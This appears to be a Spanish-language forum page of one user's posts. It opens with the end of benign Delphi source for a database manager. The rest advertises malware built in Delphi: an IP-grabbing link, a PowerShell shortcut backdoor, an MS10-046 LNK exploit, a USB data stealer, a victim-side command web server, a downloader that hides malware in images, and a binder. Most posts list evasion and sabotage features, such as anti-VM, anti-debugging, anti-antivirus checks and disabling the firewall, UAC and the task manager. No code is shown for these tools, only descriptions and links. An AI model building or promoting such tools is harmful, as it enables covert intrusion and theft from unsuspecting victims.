          message_box('DH Database Manager 0.8', 'Error connecting', 'Error');
        end;
      end;
    end;
  end
  else if (cmbService.Text = 'MYSQL') then
  begin
    if (txtHostname.Text = '') or (txtPort.Text = '') or (txtUsername.Text = '')
    then
    begin
      status.Panels[0].Text := '[-] Missing data';
      message_box('DH Database Manager 0.8', 'Missing data', 'Warning');
    end
    else
    begin
      try
        begin
          connection.HostName := txtHostname.Text;
          connection.Port := StrToInt(txtPort.Text);

          if not(txtDatabase.Text = '') then
          begin
            connection.Database := txtDatabase.Text;
          end;

          connection.Protocol := 'mysql-5';

          connection.User := txtUsername.Text;
          connection.Password := txtPassword.Text;
          connection.Connect;

          status.Panels[0].Text := '[+] Connected';
          message_box('DH Database Manager 0.8', 'Connected', 'Information');

          if not(txtDatabase.Text = '') then
          begin
            cargarTablas();
          end;

        end;
      except
        begin
          status.Panels[0].Text := '[-] Error connecting';
          message_box('DH Database Manager 0.8', 'Error connecting', 'Error');
        end;
      end;
    end;
  end
  else if (cmbService.Text = 'SQLITE') then
  begin
    if not(FileExists(txtDatabase.Text)) then
    begin
      status.Panels[0].Text := '[-] SQLITE Database not found';
      message_box('DH Database Manager 0.8', 'SQLITE Database not found',
        'Warning');
    end
    else
    begin
      try
        begin
          connection.Protocol := 'sqlite-3';
          connection.Database := txtDatabase.Text;
          connection.Connect;

          status.Panels[0].Text := '[+] Connected';
          message_box('DH Database Manager 0.8', 'Connected', 'Information');

          if not(txtDatabase.Text = '') then
          begin
            cargarTablas();
          end;

        end;
      except
        begin
          status.Panels[0].Text := '[-] Error connecting';
          message_box('DH Database Manager 0.8', 'Error connecting', 'Error');
        end;
      end;
    end;
  end
  else
  begin
    status.Panels[0].Text := '[-] Service not found';
    message_box('DH Database Manager 0.8', 'Service not found', 'Warning');
  end;

end;

procedure TFormHome.btnDisconnectClick(Sender: TObject);
begin
  if connection.Connected = true then
  begin
    connection.Connected := false;
    status.Panels[0].Text := '[+] Disconnect';
    message_box('DH Database Manager 0.8', 'Disconnect', 'Information');
  end
  else
  begin
    status.Panels[0].Text := '[-] Not connected';
    message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
  end;
end;

procedure TFormHome.btnExecuteClick(Sender: TObject);
begin
  if (connection.Connected = true) then
  begin
    try
      begin
        query_connection.Active := false;
        query_connection.SQL.Clear;
        query_connection.SQL.Add(txtSQL_Query.Text);
        query_connection.Active := true;
        datasource_connection.DataSet := query_connection;
        datasource_connection.DataSet.Refresh;
        status.Panels[0].Text := '[+] Command Executed';
        message_box('DH Database Manager 0.8', 'Command Executed',
          'Information');
      end;
    except
      on E: Exception do
      begin
        if (E.Message = 'Can not open a Resultset') then
        begin
          status.Panels[0].Text := '[?] SQL Query not return ResultSet';
          message_box('DH Database Manager 0.8',
            'SQL Query not return ResultSet', 'Information');
        end
        else
        begin
          status.Panels[0].Text := '[-] SQL Query Error';
          message_box('DH Database Manager 0.8', 'SQL Query Error', 'Error');
        end;
      end;
    end;
  end
  else
  begin
    status.Panels[0].Text := '[-] Not connected';
    message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
  end;
end;

procedure TFormHome.btnLoadDBClick(Sender: TObject);
begin
  if odLoadDB.Execute then
  begin
    txtDatabase.Text := odLoadDB.filename;
  end;
end;

procedure TFormHome.btnLoadTableClick(Sender: TObject);
begin
  if (connection.Connected = true) then
  begin
    try
      begin
        table_connection.Active := false;
        table_connection.TableName := cmbTables.Text;
        datasource_connection.DataSet := table_connection;
        table_connection.Active := true;
        datasource_connection.DataSet.Refresh;
        status.Panels[0].Text := '[+] Table Loaded';
        message_box('DH Database Manager 0.8', 'Table Loaded', 'Information');
      end;
    except
      begin
        status.Panels[0].Text := '[-] Error loading table';
        message_box('DH Database Manager 0.8', 'Error loading table', 'Error');
      end;
    end;
  end
  else
  begin
    status.Panels[0].Text := '[-] Not connected';
    message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
  end;
end;

procedure TFormHome.btnRefreshTablesClick(Sender: TObject);
begin
  cargarTablas();
end;

end.

// The End ?

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.

14
Delphi / [Delphi] IP Thief 0.6
« en: Octubre 28, 2016, 05:14:25 pm »
Un programa en Delphi y PHP para capturar la IP de una persona con solo enviar un link y poder mostrarlo en el programa en Delphi.

Opciones :

  • Capturar IP,Country,DateTime del visitante
  • Generador de la APP en PHP desde Delphi
  • Mostrar los datos desde la aplicacion en Delphi


Unas imagenes :





Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

SourceForge.

Eso seria todo.

15
Delphi / [Delphi] DH ShortCut Backdoor 0.5
« en: Octubre 25, 2016, 08:48:40 am »
Un programa en Delphi para generar un acceso directo para ejecutar un backdoor usando powershell.

Una imagen :



Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.

16
Delphi / [Delphi] DH ShortCut Exploit 0.8
« en: Octubre 25, 2016, 08:47:11 am »
Un exploit hecho en Delphi para la vulnerabilidad "MS10-046 CPL Lnk Exploit".

El exploit les permite ejecutar una lista de comandos.

Una imagen :



Nota : el DLL "shell69.dll" tienen que moverlo a la carpeta de Windows cuando usen un Binder.

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.

17
Delphi / [Delphi] Project CagaTron 2.0
« en: Octubre 23, 2016, 06:52:21 pm »
Un programa para capturar los datos de cualquier USB que se conecte a la computadora.

Tiene las siguientes opciones :

  • Principales :
  • Funciona en segundo plano
  • Permite usar una contraseña personalizada en el comprimido resultante
  • Permite seleccionar las extensiones que se deseen del usb que se conecte
  • En el comprimido muestra informacion sobre la computadora en la que se capturo los datos
  • Secundarias :
[++] Ocultar rastros
[++] Persistencia
[++] UAC Tricky
[++] Extraccion de malware personalizado
[++] Editar la fecha de creacion del malware
[++] File Pumper
[++] Extension Spoofer
[++] Icon Changer

  • Antis :
[++] Virtual PC
[++] Virtual Box
[++] Debug
[++] Wireshark
[++] OllyDg
[++] Anubis
[++] Kaspersky
[++] VMWare

  • Disables :
[++] UAC
[++] Firewall
[++] CMD
[++] Run
[++] Taskmgr
[++] Regedit
[++] Updates
[++] MsConfig

Una imagen :



Un video con ejemplos de uso :



Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

SourceForge.
Github.

Eso seria todo.

18
Delphi / [Delphi] Commander Web Server 1.0
« en: Octubre 23, 2016, 06:50:44 pm »
Un programa en Delphi que convierte a la victima en un webserver para mandar instrucciones.

Tiene las siguientes opciones :

  • Principales :
  • WebServer
  • Ejecutar comandos y recibir respuesta
  • Descargar y ejecutar ejecutables de forma paralela
  • Messages Bomber
  • Secundarias :
[++] Ocultar rastros
[++] Persistencia
[++] UAC Tricky
[++] Extraccion de malware personalizado
[++] Editar la fecha de creacion del malware
[++] File Pumper
[++] Extension Spoofer
[++] Icon Changer

  • Antis :
[++] Virtual PC
[++] Virtual Box
[++] Debug
[++] Wireshark
[++] OllyDg
[++] Anubis
[++] Kaspersky
[++] VMWare

  • Disables :
[++] UAC
[++] Firewall
[++] CMD
[++] Run
[++] Taskmgr
[++] Regedit
[++] Updates
[++] MsConfig

Unas imagenes :





Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.

19
Delphi / [Delphi] DH Downloader 2.0
« en: Octubre 22, 2016, 01:42:51 pm »
Un Downloader hecho en Delphi.

Tiene las siguientes opciones :

  • Principales :
  • Mezclar una imagen con un malware y que la imagen resultante se vea bien
  • Descargar manualmente o generar el stub para descargar la imagen infectada y ejecutar el malware
  • Secundarias :
[++] Ocultar rastros
[++] Persistencia
[++] UAC Tricky
[++] Extraccion de malware personalizado
[++] Editar la fecha de creacion del malware
[++] File Pumper
[++] Extension Spoofer
[++] Icon Changer

  • Antis :
[++] Virtual PC
[++] Virtual Box
[++] Debug
[++] Wireshark
[++] OllyDg
[++] Anubis
[++] Kaspersky
[++] VMWare

  • Disables :
[++] UAC
[++] Firewall
[++] CMD
[++] Run
[++] Taskmgr
[++] Regedit
[++] Updates
[++] MsConfig

Una imagen :



Un video con ejemplos de uso :



Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

SourceForge.
Github.

Eso seria todo.

20
Delphi / [Delphi] DH Binder 2.0
« en: Octubre 22, 2016, 01:41:39 pm »
Un Binder hecho en Delphi.

Tiene las siguientes opciones :

  • Principales :
  • Agregar infinitos archivos
  • Opcion para ocultar cualquiera de los archivos
  • Se puede cargar de forma : Normal,Oculta y no ejecutar , cualquiera de los archivos
  • Secundarias :
[++] Ocultar rastros
[++] Persistencia
[++] UAC Tricky
[++] Extraccion de malware personalizado
[++] Editar la fecha de creacion del malware
[++] File Pumper
[++] Extension Spoofer
[++] Icon Changer

  • Antis :
[++] Virtual PC
[++] Virtual Box
[++] Debug
[++] Wireshark
[++] OllyDg
[++] Anubis
[++] Kaspersky
[++] VMWare

  • Disables :
[++] UAC
[++] Firewall
[++] CMD
[++] Run
[++] Taskmgr
[++] Regedit
[++] Updates
[++] MsConfig

Una imagen :



Un video con ejemplos de uso :



Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

SourceForge.
Github.

Eso seria todo.

Páginas: [1] 2 3 ... 20